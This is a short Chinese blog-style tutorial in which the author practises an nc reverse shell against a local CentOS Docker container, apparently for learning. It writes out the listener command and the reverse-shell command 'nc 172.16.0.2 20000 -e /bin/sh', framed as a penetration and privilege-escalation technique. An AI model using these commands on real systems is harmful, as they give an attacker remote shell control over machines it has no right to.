前言

在一些安全文章中,经常提到nc反弹shell提权。而什么nc反弹shell呢，一直没搞懂。
今天特地本地操作下。

简介

nc全称为netcat，所做的就是在两台电脑之间建立链接，并返回两个数据流

在网络渗透中,经常遇到在远程服务器操作shell不方便或者限制。此时就需要nc 反弹shell

该操作就是可以在另外一台电脑执行目标电脑的shell命令。非常方便。

实践

• 搭建一个目标服务器

这里选择使用docker来处理，选择常见的centos镜像。最新的。

image.png

• 启动一个容器

docker run -d centos:latest /bin/sh -c "while true; do echo hello world; sleep 1; done"

• 进入容器
  9c5是我本地容器的id

docker exec -it 9c5 /bin/bash

• 安装nc指令
  由于镜像没有nc指令，需要自己安装。通常正常的服务器都会有该指令的。

yum install nc

• 启动监听服务。

在另外一台电脑启动监听。

这里我使用的容器所在的宿主电脑。

只需要确保你的电脑可以被目标服务器通过ip地址 访问到即可。

nc -vv -l -p 20000

查看下启动监听服务的电脑ip。这里我的ip 是 172.16.0.2
如果你选择的是某云服务器，应该是公网ip地址。

• 进行反弹
  切换到容器,

执行命令

nc 172.16.0.2   20000 -e /bin/sh

此时查看宿主电脑,应该有提示消息。如下图。

image.png

表示成功。

• shell操作

既然已经反弹了，就可以随便操作shell指令。就如同在docker容器那个电脑上执行一样。

image.png